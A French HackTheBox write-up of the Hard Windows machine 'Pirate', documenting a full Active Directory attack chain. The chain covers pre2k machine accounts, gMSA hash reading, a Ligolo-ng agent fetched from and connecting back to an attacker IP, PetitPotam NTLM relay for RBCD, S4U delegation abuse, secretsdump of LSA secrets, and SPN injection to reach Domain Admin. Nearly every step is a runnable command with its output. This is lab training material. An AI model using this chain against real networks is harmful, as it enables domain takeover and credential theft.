Writeup

Pirate

Machine Windows Active Directory Hard. Cinq techniques AD enchaînées sans CVE : legacy machine account, gMSA overpermissioning, NTLM relay vers RBCD, délégation contrainte avec transition de protocole, et injection de SPN pour pivoter jusqu'au DC.

Platform: HackTheBox
Difficulty: Hard
OS: Windows
Date: 2026-05-10

1. Reconnaissance

Le scan révèle un contrôleur de domaine classique : DNS, Kerberos, LDAP, SMB, WinRM. Le certificat SSL confirme DC01.pirate.htb. SMB signing est activé, pas de relay SMB direct possible, il faudra cibler LDAPS. Je note aussi que la machine est joignable directement sur 10.129.51.233 et qu'un réseau interne 192.168.100.0/24 est accessible depuis le DC.

Commande

nmap -Pn -sV -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985 10.129.51.233

Résultat

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: pirate.htb)
445/tcp  open  microsoft-ds?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)

Énumération RID avec les credentials de départ pour cartographier les comptes du domaine.

Commande

nxc smb 10.129.51.233 -u pentest -p 'p3nt3st2025!&' --rid-brute 2>/dev/null | grep SidTypeUser

Résultat

SMB  DC01  500: PIRATEAdministrator (SidTypeUser)
SMB  DC01  502: PIRATEkrbtgt        (SidTypeUser)
SMB  DC01  1103: PIRATEMS01$        (SidTypeUser)
SMB  DC01  1104: PIRATEa.white      (SidTypeUser)
SMB  DC01  1106: PIRATEa.white_adm  (SidTypeUser)

Je repère deux comptes gMSA inaccessibles avec pentest, et surtout le compte machine MS01$, j'y reviendrai.

Commande

nxc ldap 10.129.51.233 -u pentest -p 'p3nt3st2025!&' --gmsa

Résultat

LDAP  DC01  [*] Getting GMSA Passwords
LDAP  DC01  Account: gMSA_ADCS_prod$  NTLM: <no read permissions>  PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAP  DC01  Account: gMSA_ADFS_prod$  NTLM: <no read permissions>  PrincipalsAllowedToReadPassword: Domain Secure Servers

2. Pre2k : MS01$ avec son propre nom comme mot de passe

Avant Windows 2000, les machines jointes au domaine recevaient automatiquement leur hostname en minuscules comme mot de passe de compte machine. Ce comportement legacy persiste si personne n'a jamais forcé la rotation. L'outil pre2k teste ça automatiquement sur tous les comptes machines du domaine.

Commande

nxc ldap pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -M pre2k

Résultat

LDAP   DC01  [+] pirate.htbpentest:p3nt3st2025!&
PRE2K  DC01  Pre-created computer account: MS01$
PRE2K  DC01  Pre-created computer account: EXCH01$
PRE2K  DC01  [+] Found 2 pre-created computer accounts.
PRE2K  DC01  [+] Successfully obtained TGT for ms01@pirate.htb
PRE2K  DC01  [+] Successfully obtained TGT for exch01@pirate.htb

MS01$ a toujours ms01 comme mot de passe. C'est un compte machine valide avec lequel je peux m'authentifier sur le domaine, et donc lire les hashes gMSA.

3. Extraction des hashes gMSA

Les Group Managed Service Accounts ont leurs mots de passe gérés automatiquement par l'AD. Mais l'ACL PrincipalsAllowedToReadPassword contrôle qui peut lire ces hashes : ici c'est le groupe Domain Secure Servers, dont MS01$ est membre. J'utilise son TGT Kerberos pour interroger LDAP avec les bons droits.

Commande

getTGT.py pirate.htb/'MS01$:ms01' -dc-ip 10.129.51.233
KRB5CCNAME=MS01$.ccache nxc ldap 10.129.51.233 --use-kcache --gmsa

Résultat

LDAP  DC01  [+] PIRATE.HTBMS01$ from ccache
LDAP  DC01  [*] Getting GMSA Passwords
LDAP  DC01  Account: gMSA_ADCS_prod$  NTLM: 2b8849da91d5206b9d1d1dcb44467089  PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAP  DC01  Account: gMSA_ADFS_prod$  NTLM: 76754c94319e3a7dc07ba09aa79028ee  PrincipalsAllowedToReadPassword: Domain Secure Servers

Je vérifie lequel des deux comptes donne accès à DC01 via WinRM.

Commande

nxc winrm 10.129.51.233 -u 'gMSA_ADCS_prod$' -H '2b8849da91d5206b9d1d1dcb44467089'

Résultat

WINRM  DC01  [+] pirate.htbgMSA_ADCS_prod$:2b8849da91d5206b9d1d1dcb44467089 (Pwn3d!)

4. Foothold DC01 + pivot Ligolo-ng vers 192.168.100.0/24

DC01 a une deuxième interface sur le réseau interne 192.168.100.0/24 où se trouve WEB01 (192.168.100.2). Je déploie Ligolo-ng v0.8.3 : un agent Windows sur DC01 qui crée un tunnel L3 transparent vers mon proxy. Une fois la route injectée, WEB01 est accessible directement comme si j'étais sur le même segment.

Setup interface TUN (sudo)

sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.100.0/24 dev ligolo

Démarrage proxy Ligolo-ng

/tools/ligolo-ng/proxy -selfcert -laddr 0.0.0.0:11601 -daemon

DC01 via WinRM : téléchargement et démarrage agent

# Upload
Invoke-WebRequest "http://$ATTACKER_IP:8000/agent.exe" -OutFile "C:WindowsTempligolo-agent.exe" -UseBasicParsing

# Connexion au proxy
Start-Process -NoNewWindow "C:WindowsTempligolo-agent.exe" "-connect $ATTACKER_IP:11601 -ignore-cert -retry"

Résultat

[INFO] Agent joined. id=00155d0bd000 name="PIRATE\gMSA_ADCS_prod$@DC01"
[INFO] Starting autobind session: 00155d0bd000 on interface ligolo
[INFO] Starting tunnel to PIRATE\gMSA_ADCS_prod$@DC01

Test connectivité WEB01

ping -c 2 192.168.100.2

Résultat

64 bytes from 192.168.100.2: icmp_seq=1 ttl=64 time=90 ms
64 bytes from 192.168.100.2: icmp_seq=2 ttl=64 time=100 ms

WEB01 est joignable. Je confirme que gMSA_ADFS_prod$ a accès WinRM dessus.

Commande

nxc winrm 192.168.100.2 -u 'gMSA_ADFS_prod$' -H '76754c94319e3a7dc07ba09aa79028ee'

Résultat

WINRM  WEB01  [+] pirate.htbgMSA_ADFS_prod$:76754c94319e3a7dc07ba09aa79028ee (Pwn3d!)

5. RBCD via NTLM relay : MS01$ délégué sur WEB01$

Le plan : forcer WEB01 à s'authentifier vers ma machine via PetitPotam (MS-EFSRPC), relayer cette auth vers LDAPS sur DC01, et écrire l'attributmsDS-AllowedToActOnBehalfOfOtherIdentity sur WEB01$ pour y inscrire MS01$. Comme SMB signing est activé sur DC01, je cible LDAPS et non SMB. Le flag --remove-mic est nécessaire car WEB01 demande la signature NTLM.

ntlmrelayx (sudo, port 445)

sudo ntlmrelayx.py -t ldaps://10.129.51.233 \
  --delegate-access --escalate-user 'MS01$' \
  -smb2support --remove-mic

Résultat

[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Servers started, waiting for connections

PetitPotam : coercion vers notre IP

python3 PetitPotam.py \
  -u 'gMSA_ADCS_prod$' -hashes ':2b8849da91d5206b9d1d1dcb44467089' \
  -d pirate.htb \
  $ATTACKER_IP 192.168.100.2

Résultat

[+] Connected!
[+] Successfully bound!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

Résultat

[*] Authenticating against ldaps://10.129.51.233 as PIRATE/WEB01$ SUCCEED
[*] Delegation rights modified successfully!
[*] MS01$ can now impersonate users on WEB01$ via S4U2Proxy

Vérification LDAP

bloodyAD -u pentest -p 'p3nt3st2025!&' -d pirate.htb --host 10.129.51.233 \
  get object "WEB01$" --attr msDS-AllowedToActOnBehalfOfOtherIdentity

Résultat

msDS-AllowedToActOnBehalfOfOtherIdentity: O:S-1-5-32-544D:(A;;0xf01ff;;;S-1-5-21-...-4102)
# SID → MS01$

6. S4U2Proxy : ticket Administrator pour WEB01

Grâce au RBCD, MS01$ peut demander un service ticket au nom de n'importe qui sur WEB01. J'enchaîne S4U2Self (MS01$ obtient un ticket pour lui-même en tant qu'Administrator) puis S4U2Proxy (MS01$ présente ce ticket pour demander cifs/WEB01.pirate.htb en tant qu'Administrator). Le résultat est un ccache que je passe directement à secretsdump.

Commande

getTGT.py pirate.htb/'MS01$:ms01' -dc-ip 10.129.51.233

KRB5CCNAME=MS01$.ccache getST.py pirate.htb/'MS01$' \
  -spn 'cifs/WEB01.pirate.htb' \
  -impersonate Administrator \
  -dc-ip 10.129.51.233 -k -no-pass

Résultat

[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache

7. secretsdump WEB01 : LSA DefaultPassword + user.txt

J'utilise le ticket pour dumper WEB01 via le Remote Registry. La vraie trouvaille est dans les LSA Secrets : une entrée DefaultPassword laissée par une configuration d'autologon : le mot de passe de a.white en clair.

Commande

export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
secretsdump.py -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb

Résultat

[*] Target system bootKey: 0x342dfe90cc4061078b79f011cd08f931
[*] Dumping local SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::
[*] Dumping LSA Secrets
[*] DefaultPassword
PIRATEa.white:E2nvAOKSz5Xz2MJu

Lecture user.txt

nxc smb 192.168.100.2 -k --use-kcache -x 'type C:\Users\a.white\Desktop\user.txt'

Résultat

REDACTED

8. ForceChangePassword : a.white vers a.white_adm

BloodHound révèle que a.white a le droit ForceChangePassword sur a.white_adm. Ce compte admin dispose lui d'une délégation contrainte avec transition de protocole vers HTTP/WEB01, notre prochain levier. Je change son mot de passe directement via LDAP sans connaître l'ancien.

Commande

bloodyAD -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' -d pirate.htb --host 10.129.51.233 \
  set password 'a.white_adm' 'Password123!'

Résultat

[+] Password changed successfully!

Vérification de la délégation

findDelegation.py pirate.htb/'a.white_adm:Password123!' -dc-ip 10.129.51.233

Résultat

AccountName  AccountType  DelegationType                      DelegationRightsTo
a.white_adm  Person       Constrained w/ Protocol Transition  http/WEB01.pirate.htb
a.white_adm  Person       Constrained w/ Protocol Transition  HTTP/WEB01

9. SPN Injection : déplacer HTTP/WEB01 de WEB01$ vers DC01$

Voilà la partie subtile. Quand a.white_adm fait S4U2Proxy pour HTTP/WEB01.pirate.htb, le KDC chiffre le service ticket avec la clé du compte qui possède ce SPN. Si le SPN est sur WEB01$, le ticket est chiffré avec sa clé, inutilisable sur DC01. Si je déplace le SPN vers DC01$, le ticket est chiffré avec la clé de DC01$, et le flag -altservice CIFS/DC01 peut réécrire le nom de service sans invalider le chiffrement.

a.white_adm a le droit WriteSPN sur DC01$ (via le groupe IT). Je commence par vider les SPNs de WEB01$ pour lever la contrainte d'unicité forest-wide, puis j'injecte sur DC01$.

État initial de WEB01$

bloodyAD -u 'a.white_adm' -p 'Password123!' -d pirate.htb --host 10.129.51.233 \
  get object "WEB01$" --attr servicePrincipalName

Résultat

servicePrincipalName: tapinego/WEB01; WSMAN/WEB01; HOST/WEB01; TERMSRV/WEB01; HTTP/WEB01; HTTP/WEB01.pirate.htb; ...

Suppression de tous les SPNs sur WEB01$

bloodyAD -u 'a.white_adm' -p 'Password123!' -d pirate.htb --host 10.129.51.233 \
  set object 'WEB01$' servicePrincipalName

Résultat

[+] WEB01$'s servicePrincipalName has been updated

Injection de HTTP/WEB01 sur DC01$

bloodyAD -u 'a.white_adm' -p 'Password123!' -d pirate.htb --host 10.129.51.233 \
  set object 'DC01$' servicePrincipalName \
  -v 'HTTP/WEB01' -v 'HTTP/WEB01.pirate.htb'

Résultat

[+] DC01$'s servicePrincipalName has been updated

Vérification

bloodyAD -u 'a.white_adm' -p 'Password123!' -d pirate.htb --host 10.129.51.233 \
  get object "DC01$" --attr servicePrincipalName | grep HTTP

Résultat

servicePrincipalName: HTTP/WEB01.pirate.htb; HTTP/WEB01

10. S4U2Proxy + altservice : ticket Administrator CIFS/DC01

Je refais le S4U2Proxy depuis a.white_adm pour HTTP/WEB01.pirate.htb. Cette fois le KDC chiffre avec la clé de DC01$ (qui possède maintenant ce SPN). Impacket réécrit ensuite le sname du ticket de HTTP/WEB01 vers CIFS/DC01.pirate.htb : le chiffrement reste valide car les deux SPNs appartiennent au même compte machine.

Commande

getST.py \
  -spn 'HTTP/WEB01.pirate.htb' \
  -impersonate 'Administrator' \
  'pirate.htb/a.white_adm:Password123!' \
  -dc-ip 10.129.51.233 \
  -altservice 'CIFS/DC01.pirate.htb'

Résultat

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from HTTP/WEB01.pirate.htb@PIRATE.HTB to CIFS/DC01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache

11. root.txt

Le ticket CIFS/DC01 au nom d'Administrator est présenté à DC01. SMB signing est géré nativement par Kerberos, pas de friction. Je suis Domain Admin.

Commande

export KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
nxc smb DC01.pirate.htb --use-kcache -x 'type C:\Users\Administrator\Desktop\root.txt'

Résultat

REDACTED

Récap

  • Pre2k : MS01$ a toujours son hostname comme mot de passe → accès machine account
  • gMSA : MS01$ membre de Domain Secure Servers → lecture des hashes gMSA_ADCS_prod$ et gMSA_ADFS_prod$
  • WinRM DC01 : gMSA_ADCS_prod$ est admin local → foothold + déploiement Ligolo-ng
  • Ligolo-ng : tunnel L3 transparent → 192.168.100.2 (WEB01) directement joignable
  • RBCD : PetitPotam coerce WEB01$ → ntlmrelayx relay vers LDAPS → MS01$ inscrit dans msDS-AllowedToActOnBehalfOfOtherIdentity de WEB01$
  • S4U2Proxy : MS01$ impersonate Administrator sur WEB01 (CIFS) → secretsdump → LSA DefaultPassword → a.white:E2nvAOKSz5Xz2MJu + user.txt
  • ForceChangePassword : a.white change le mot de passe de a.white_adm (délégation contrainte avec Protocol Transition sur HTTP/WEB01)
  • SPN Injection : HTTP/WEB01 déplacé de WEB01$ vers DC01$ (WriteSPN via groupe IT)
  • altservice : S4U2Proxy HTTP/WEB01 (chiffré avec clé DC01$) réécrit en CIFS/DC01 → ticket Administrator valide sur DC01
  • root.txt via nxc smb avec le ticket Kerberos